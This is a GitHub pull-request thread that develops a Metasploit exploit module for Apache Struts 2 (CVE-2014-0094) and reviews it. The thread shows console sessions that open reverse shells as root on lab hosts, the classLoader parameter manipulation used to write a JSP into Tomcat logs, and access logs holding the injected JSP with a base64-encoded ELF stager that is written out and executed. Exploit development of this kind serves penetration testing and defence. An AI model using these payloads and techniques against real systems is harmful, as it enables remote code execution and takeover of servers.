Add CVE-2014-0094 RCE for Struts 2 #3314

julianvilas · 2014-04-29T02:00:08Z

Tested on Ubuntu 12.04 x86 with Tomcat 8.0.5 and Java 7, using targets "linux" and "java".

msf exploit(struts_code_exec_classloader) > rerun
[*] Reloading module...

[*] 172.16.218.152:8080 - Modifying class loader
[*] Started bind handler
[*] 172.16.218.152:8080 - created file at http://172.16.218.152:8080/WgcrY0.jsp
[*] 172.16.218.152:8080 - Waiting 10 seconds...
[*] 172.16.218.152:8080 - Accessing http://172.16.218.152:8080/WgcrY0.jsp
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1228800 bytes) to 172.16.218.152
[*] Meterpreter session 4 opened (172.16.218.1:65064 -> 172.16.218.152:4444) at 2014-04-29 03:46:39 +0200
[+] Deleted 6ZqRUs
[+] Deleted WgcrY0.jsp

meterpreter > quit
[*] Shutting down Meterpreter...

[*] 172.16.218.152 - Meterpreter session 4 closed.  Reason: User exit

jvazquez-r7 · 2014-04-29T13:36:40Z

Thanks @julianvilas ! I'll be working on it today!

jvazquez-r7 · 2014-04-29T14:49:29Z

modules/exploits/multi/http/struts_code_exec_classloader.rb

+      },
+      'Author'         =>
+        [
+          'Mark Thomas and Przemyslaw Celej', # Vulnerability Discovery


One line for every author, please:

'Mark Thomas', # Vulnerability Discovery 'Przemyslaw Celej' # Vulnerability Discovery

jvazquez-r7 · 2014-04-29T15:03:10Z

msftidy makes an small complaint:

$ tools/msftidy.rb modules/exploits/multi/http/struts_code_exec_classloader.rb
modules/exploits/multi/http/struts_code_exec_classloader.rb:108 - [WARNING] Spaces at EOL

jvazquez-r7 · 2014-04-29T15:56:47Z

modules/exploits/multi/http/struts_code_exec_classloader.rb

+
+    vprint_status("#{peer} - Waiting 10 seconds...")
+
+    Rex.sleep(10)


Probably a code like the next one would be useful to test if the JSP is available, so you can avoid the plain Rex.sleep(10):

10.times do select(nil, nil, nil, 2) # Now make a request to trigger payload print_status("#{peer} - Attempting to execute payload...") res = exec_cmd(uri) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end

OK I'll try. Thanks :)

The problem here is that if the JSP is already created, it returns a 200 but the expected content hasn't been flushed already. Would be great if we can force a flush to the file, but if not i think it's better wait for it. What do you think?

Meatballs1 · 2014-04-30T15:07:56Z

I want the Struts v1 exploit! :D

julianvilas · 2014-04-30T15:10:38Z

lol, is not affected rigth? :D

Meatballs1 · 2014-04-30T15:24:29Z

http://seclists.org/bugtraq/2014/Apr/177

julianvilas · 2014-04-30T15:59:48Z

Dough! xD

It hurts :)

0x41414141 · 2014-05-01T11:51:05Z

Got this working using JSP injection over SMB in #3323. Should look at merging these in the near future.

jvazquez-r7 · 2014-05-01T23:12:34Z

Landed after several cleanups, check landed version here: 150b89e

Test:

native payload

msf > use exploit/multi/http/struts_code_exec_classloader
msf exploit(struts_code_exec_classloader) > show options

Module options (exploit/multi/http/struts_code_exec_classloader):

   Name       Current Setting                           Required  Description
   ----       ---------------                           --------  -----------
   Proxies                                              no        Use a proxy chain
   RHOST                                                yes       The target address
   RPORT      8080                                      yes       The target port
   TARGETURI  /struts2-blank/example/HelloWorld.action  yes       The path to a struts application action
   VHOST                                                no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   1   Linux


msf exploit(struts_code_exec_classloader) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(struts_code_exec_classloader) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(struts_code_exec_classloader) > set rhost 172.16.158.136
rhost => 172.16.158.136
msf exploit(struts_code_exec_classloader) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.136:8080 - Modifying Class Loader...
[*] 172.16.158.136:8080 - Waiting for the server to flush the logfile
[+] 172.16.158.136:8080 - Log file flushed at http://172.16.158.136:8080/XCClf23.jsp
[*] 172.16.158.136:8080 - Generating JSP...
[*] 172.16.158.136:8080 - Dumping JSP into the logfile...
[*] 172.16.158.136:8080 - Waiting for the server to flush the logfile
[*] Sending stage (36 bytes) to 172.16.158.136
[+] 172.16.158.136:8080 - Log file flushed at http://172.16.158.136:8080/XCClf23.jsp
[*] Command shell session 1 opened (172.16.158.1:4444 -> 172.16.158.136:53182) at 2014-05-01 18:06:18 -0500
[+] Deleted XCClf23.jsp
[+] Deleted KXsLZ

2207063837
WunTzOiYihNtcKtoPsmJVxOLnOBnhqpp
ZYHerTMoHExMuocjwpWhVlbdSLIzoiyr
gPDimZFFgwnPxjHzLvpnFvqzlmTcAKKi
id
uid=0(root) gid=0(root) groups=0(root)

^C
Abort session 1? [y/N]  y

jsp payload

msf exploit(struts_code_exec_classloader) > set target 0
target => 0
msf exploit(struts_code_exec_classloader) > set payload
set payload generic/custom              set payload generic/shell_reverse_tcp   set payload java/jsp_shell_reverse_tcp
set payload generic/shell_bind_tcp      set payload java/jsp_shell_bind_tcp
msf exploit(struts_code_exec_classloader) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf exploit(struts_code_exec_classloader) > set VERBOSE true
VERBOSE => true
msf exploit(struts_code_exec_classloader) > set SHELL /bin/sh
SHELL => /bin/sh
msf exploit(struts_code_exec_classloader) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.136:8080 - Modifying Class Loader...
[*] 172.16.158.136:8080 - Waiting for the server to flush the logfile
[*] 172.16.158.136:8080 - Countdown 10...
[*] 172.16.158.136:8080 - Countdown 9...
[*] 172.16.158.136:8080 - Countdown 8...
[*] 172.16.158.136:8080 - Countdown 7...
[*] 172.16.158.136:8080 - Countdown 6...
[+] 172.16.158.136:8080 - Log file flushed at http://172.16.158.136:8080/pgR768.jsp
[*] 172.16.158.136:8080 - Generating JSP...
[*] 172.16.158.136:8080 - Dumping JSP into the logfile...
[*] 172.16.158.136:8080 - Waiting for the server to flush the logfile
[*] 172.16.158.136:8080 - Countdown 10...
[*] 172.16.158.136:8080 - Countdown 9...
[*] 172.16.158.136:8080 - Countdown 8...
[*] 172.16.158.136:8080 - Countdown 7...
[+] 172.16.158.136:8080 - Log file flushed at http://172.16.158.136:8080/pgR768.jsp
[*] Command shell session 4 opened (172.16.158.1:4444 -> 172.16.158.136:53185) at 2014-05-01 18:08:19 -0500
[+] Deleted pgR768.jsp

2836361441
hYiPQRnYfMeqtTHGHZLOXnqZTRfXEjYm
OLiGhMbgIaflxMrpmjwthytHpIuXwAXO
id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 4? [y/N]  y

julianvilas · 2014-05-04T17:53:36Z

Hi @0x41414141

would be nice. This one works with Tomcat 8, but it doesn't with Tomcat 6 or 7.

AFAIK, with this approach the application is not crashed, only a logfile is created. However with the SMB server approach the application stops working anymore (till server reload). It would be cool to fingerprint the server version and select one or the other depending on the used version. What do you think?

I've looked at your exploit and it seems very easy to merge with this. If I can help let me know :)

Cheers!

0x41414141 · 2014-05-04T19:02:12Z

Hi @julianvilas, I'm still working on this one. It seems it's persistent on tomcat 6, and using appBase it loads a war on tomcat 8. Still working on a sploit for that. Yeah, my approach totally kills the running application, so it's one hit or nothing, I need to play with the variables to see if a shell can be deployed without killing the running app (no one wants that, right!?). Gimme a few days and I'll have something merge-worthy :-)

hatRiot · 2015-02-04T05:37:48Z

@julianvilas @0x41414141 In light of the recent merge of this exploit with Struts 1.x, has there been any work into this on Tomcat < 8?

firefart · 2015-02-04T06:05:14Z

modules/exploits/multi/http/struts_code_exec_classloader.rb

+
+  def exec_cmd(uri, cmd = "")
+    resp = send_request_cgi({
+            'uri'     => uri+cmd,


@jvazquez-r7 @julianvilas sorry for the "after merge" comment but shoudn't this use vars_get? Without it the GET parameters are not correctly URL encoded and can be dropped by some servers for example when having a reverse proxy in front of the struts app. Or is there a need for not uri encoded payloads? I had this problem once with another struts exploit - Tomcat accepts the non encoded part, but apache was in front of it and dropped it

Hi,

seems the quote is from an old version before merge. @jvazquez-r7 did some cleanup before landing the PR at 150b89e.

There he introduced:

def dump_line(uri, cmd = "") res = send_request_cgi({ 'uri' => uri+cmd, 'version' => '1.1', 'method' => 'GET', }) res end

and modified:

def modify_class_loader(opts) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'version' => '1.1', 'method' => 'GET', 'vars_get' => { "class['classLoader'].resources.context.parent.pipeline.first.directory" => opts[:directory], "class['classLoader'].resources.context.parent.pipeline.first.prefix" => opts[:prefix], "class['classLoader'].resources.context.parent.pipeline.first.suffix" => opts[:suffix], "class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format] } })

Later commits modified this functions a bit but more or less it's the same behavior than the current commit.

I've been testing it and you're right, seems that when using Apache mod_proxy the module fails, but it fails even when modifying the dump_line to use vars_get.

This is the log when using the landed module without mod_proxy (exploit succeeds):

127.0.0.1 - - [04/Feb/2015:10:53:52 +0100] "GET /hello_world/hello.action?class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.directory=webapps/ROOT&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.prefix=w6P9h&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.suffix=.jsp&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.fileDateFormat=02 HTTP/1.1" 200 277 127.0.0.1 - - [04/Feb/2015:10:53:55 +0100] "GET /w6P9h02.jsp HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:10:53:57 +0100] "GET /w6P9h02.jsp HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET /w6P9h02.jsp HTTP/1.1" 200 588 127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<%@ page import="java.io.FileOutputStream" %> HTTP/1.1" 505 - 127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<%@ page import="sun.misc.BASE64Decoder" %> HTTP/1.1" 505 - 127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<%@ page import="java.io.File" %> HTTP/1.1" 505 - 127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% FileOutputStream oFile = new FileOutputStream("QuSZlJ", false); %> HTTP/1.1" 505 - 127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer("f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAijAAAA8gAAAAcAAAAAEAAAan1YmbIHuQAQAACJ42aB4wDwzYAx2/fjU0NTagKJ4bBmzYBbXlJoAgARXGoQUVCJ4WpmWM2A0eOwZs2AQ7BmiVEEzYCTtgywA82Aid//4Q==")); %> HTTP/1.1" 505 - 127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% oFile.flush(); %> HTTP/1.1" 505 - 127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% oFile.close(); %> HTTP/1.1" 505 - 127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% File f = new File("QuSZlJ"); %> HTTP/1.1" 505 - 127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% f.setExecutable(true); %> HTTP/1.1" 505 - 127.0.0.1 - - [04/Feb/2015:10:53:59 +0100] "GET VFY<% Runtime.getRuntime().exec("./QuSZlJ"); %> HTTP/1.1" 505 - 127.0.0.1 - - [04/Feb/2015:10:54:01 +0100] "GET /w6P9h02.jsp HTTP/1.1" 200 588

And this is the log when using mod_proxy:

127.0.0.1 - - [04/Feb/2015:11:09:41 +0100] "GET /hello_world/hello.action?class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.directory=webapps/ROOT&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.prefix=DRcWe&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.suffix=.jsp&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.fileDateFormat=282 HTTP/1.1" 200 277 127.0.0.1 - - [04/Feb/2015:11:09:44 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:11:09:46 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:11:09:48 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:11:09:50 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:11:09:53 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 669 127.0.0.1 - - [04/Feb/2015:11:09:55 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 669 127.0.0.1 - - [04/Feb/2015:11:09:57 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 669 127.0.0.1 - - [04/Feb/2015:11:10:00 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 669 127.0.0.1 - - [04/Feb/2015:11:10:02 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 987 127.0.0.1 - - [04/Feb/2015:11:10:04 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 987 127.0.0.1 - - [04/Feb/2015:11:10:06 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 987 127.0.0.1 - - [04/Feb/2015:11:10:08 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 987 127.0.0.1 - - [04/Feb/2015:11:10:11 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 1307 127.0.0.1 - - [04/Feb/2015:11:10:13 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 1307 127.0.0.1 - - [04/Feb/2015:11:10:15 +0100] "GET /DRcWe282.jsp HTTP/1.1" 200 1307

It fails, and how you said the Apache doesn't seem to be passing the dump_line sent requests to the Tomcat.

When using vars_get in dump_line the content is still stuck at mod_proxy level:

127.0.0.1 - - [04/Feb/2015:11:18:50 +0100] "GET /hello_world/hello.action?class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.directory=webapps/ROOT&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.prefix=7J6&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.suffix=.jsp&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.fileDateFormat=5979 HTTP/1.1" 200 277 127.0.0.1 - - [04/Feb/2015:11:18:52 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:11:18:54 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:11:18:56 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:11:18:59 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:11:19:01 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 671 127.0.0.1 - - [04/Feb/2015:11:19:03 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 671 127.0.0.1 - - [04/Feb/2015:11:19:05 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 671 127.0.0.1 - - [04/Feb/2015:11:19:08 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 671 127.0.0.1 - - [04/Feb/2015:11:19:10 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1074 127.0.0.1 - - [04/Feb/2015:11:19:12 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1074 127.0.0.1 - - [04/Feb/2015:11:19:14 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1074 127.0.0.1 - - [04/Feb/2015:11:19:16 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1074 127.0.0.1 - - [04/Feb/2015:11:19:19 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1402 127.0.0.1 - - [04/Feb/2015:11:19:21 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1402 127.0.0.1 - - [04/Feb/2015:11:19:23 +0100] "GET /7J65979.jsp?= HTTP/1.1" 200 1402

but then it fails without mod_proxy too! looks like because the JSP code is URL encoded.

127.0.0.1 - - [04/Feb/2015:11:23:56 +0100] "GET /hello_world/hello.action?class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.directory=webapps/ROOT&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.prefix=aVz&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.suffix=.jsp&class%5b%27classLoader%27%5d.resources.context.parent.pipeline.first.fileDateFormat=1390 HTTP/1.1" 200 277 127.0.0.1 - - [04/Feb/2015:11:23:58 +0100] "GET /aVz1390.jsp?= HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:11:24:00 +0100] "GET /aVz1390.jsp?= HTTP/1.1" 200 - 127.0.0.1 - - [04/Feb/2015:11:24:02 +0100] "GET /aVz1390.jsp?= HTTP/1.1" 200 513 127.0.0.1 - - [04/Feb/2015:11:24:02 +0100] "GET guy?%3c%25%40%20page%20import%3d%22java.io.FileOutputStream%22%20%25%3e= HTTP/1.1" 400 - 127.0.0.1 - - [04/Feb/2015:11:24:02 +0100] "GET guy?%3c%25%40%20page%20import%3d%22sun.misc.BASE64Decoder%22%20%25%3e= HTTP/1.1" 400 - 127.0.0.1 - - [04/Feb/2015:11:24:02 +0100] "GET guy?%3c%25%40%20page%20import%3d%22java.io.File%22%20%25%3e= HTTP/1.1" 400 - 127.0.0.1 - - [04/Feb/2015:11:24:02 +0100] "GET guy?%3c%25%20FileOutputStream%20oFile%20%3d%20new%20FileOutputStream%28%22QrN4N%22%2c%20false%29%3b%20%25%3e= HTTP/1.1" 400 - 127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20oFile.write%28new%20sun.misc.BASE64Decoder%28%29.decodeBuffer%28%22f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAijAAAA8gAAAAcAAAAAEAAAan1YmbIHuQAQAACJ42aB4wDwzYAx2/fjU0NTagKJ4bBmzYBbXlJoAgARXGoQUVCJ4WpmWM2A0eOwZs2AQ7BmiVEEzYCTtgywA82Aid//4Q%3d%3d%22%29%29%3b%20%25%3e= HTTP/1.1" 400 - 127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20oFile.flush%28%29%3b%20%25%3e= HTTP/1.1" 400 - 127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20oFile.close%28%29%3b%20%25%3e= HTTP/1.1" 400 - 127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20File%20f%20%3d%20new%20File%28%22QrN4N%22%29%3b%20%25%3e= HTTP/1.1" 400 - 127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20f.setExecutable%28true%29%3b%20%25%3e= HTTP/1.1" 400 - 127.0.0.1 - - [04/Feb/2015:11:24:03 +0100] "GET guy?%3c%25%20Runtime.getRuntime%28%29.exec%28%22./QrN4N%22%29%3b%20%25%3e= HTTP/1.1" 400 - 127.0.0.1 - - [04/Feb/2015:11:24:05 +0100] "GET /aVz1390.jsp?= HTTP/1.1" 200 513

Any idea?

@hatRiot seems that SMB server lib that @0x41414141 did for this and another exploits is giving him more work than expected (#3323 (comment)).

@firefart @jvazquez-r7

I've been testing it and you're right, seems that when using Apache mod_proxy the module fails, but it fails even when modifying the dump_line to use vars_get.

replacing the call to the dump_line:

random_request = rand_text_alphanumeric(3 + rand(3)) jsp.each_line do |l| unless dump_line(random_request, l.chomp)

by

random_request = rand_text_alphanumeric(3 + rand(3)) uri = normalize_uri("/", random_request) jsp.each_line do |l| unless dump_line(uri, l.chomp)

makes the mod_proxy to send the requests to the tomcat, but again URL-encoded ;(.

To sum up:

Module as it's right now:

OK without mod_proxy

KO with mod_proxy (due to Apache not relaying the payload to the tomcat)

Module with vars_get:

KO without mod_proxy (due to URL-encoded JSP code)

KO with mod_proxy (due to URL-encoded JSP code)

OK!, looks like I got it guys, take a look at #4708 :)

I need to read this history, but thanks @firefart and @julianvilas for taking care. Will handle #4708 today!

julianvilas added 2 commits April 29, 2014 03:50

Add CVE-2014-0094 RCE for Struts 2

17a508a

Add CVE-2014-0094 RCE for Struts 2

a78aae0

julianvilas changed the title ~~Redsadic strutsrce~~ Add CVE-2014-0094 RCE for Struts 2 Apr 29, 2014

Add comments

b2c2245

jvazquez-r7 self-assigned this Apr 29, 2014

jvazquez-r7 reviewed Apr 29, 2014
View reviewed changes

Fix msf-staff comments

8e8fbfe

jvazquez-r7 reviewed Apr 29, 2014
View reviewed changes

Fix target ARCH_JAVA and remove calls to sleep

bd39af3

julianvilas added 2 commits May 1, 2014 19:44

Fix typos

3374af8

Modify print_error by fail_with

e0ee31b

jvazquez-r7 merged commit e0ee31b into rapid7:master May 1, 2014

jvazquez-r7 added a commit that referenced this pull request May 1, 2014

Land #3314, @julianvilas's exploit for Struts CVE-2014-0094

150b89e

julianvilas deleted the redsadic-strutsrce branch May 4, 2014 17:44

firefart reviewed Feb 4, 2015
View reviewed changes

This was referenced Feb 4, 2015

Change HTTP requests to succeed when going through HTTP proxies #4708

Merged

Add CVE-2014-0094 RCE for Struts2 using JSP injection over SMB #3323

Merged

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add CVE-2014-0094 RCE for Struts 2 #3314

Add CVE-2014-0094 RCE for Struts 2 #3314

julianvilas commented Apr 29, 2014

jvazquez-r7 commented Apr 29, 2014

jvazquez-r7 Apr 29, 2014

julianvilas Apr 29, 2014

jvazquez-r7 commented Apr 29, 2014

jvazquez-r7 Apr 29, 2014

julianvilas Apr 29, 2014

julianvilas Apr 29, 2014

Meatballs1 commented Apr 30, 2014

julianvilas commented Apr 30, 2014

Meatballs1 commented Apr 30, 2014

julianvilas commented Apr 30, 2014

0x41414141 commented May 1, 2014

jvazquez-r7 commented May 1, 2014

julianvilas commented May 4, 2014

0x41414141 commented May 4, 2014

hatRiot commented Feb 4, 2015

firefart Feb 4, 2015

julianvilas Feb 4, 2015

julianvilas Feb 4, 2015

julianvilas Feb 4, 2015

julianvilas Feb 4, 2015

jvazquez-r7 Feb 4, 2015


		vprint_status("#{peer} - Waiting 10 seconds...")

		Rex.sleep(10)

Add CVE-2014-0094 RCE for Struts 2 #3314

Add CVE-2014-0094 RCE for Struts 2 #3314

Conversation

julianvilas commented Apr 29, 2014

jvazquez-r7 commented Apr 29, 2014

Choose a reason for hiding this comment

Choose a reason for hiding this comment

jvazquez-r7 commented Apr 29, 2014

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Meatballs1 commented Apr 30, 2014

julianvilas commented Apr 30, 2014

Meatballs1 commented Apr 30, 2014

julianvilas commented Apr 30, 2014

0x41414141 commented May 1, 2014

jvazquez-r7 commented May 1, 2014

julianvilas commented May 4, 2014

0x41414141 commented May 4, 2014

hatRiot commented Feb 4, 2015

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment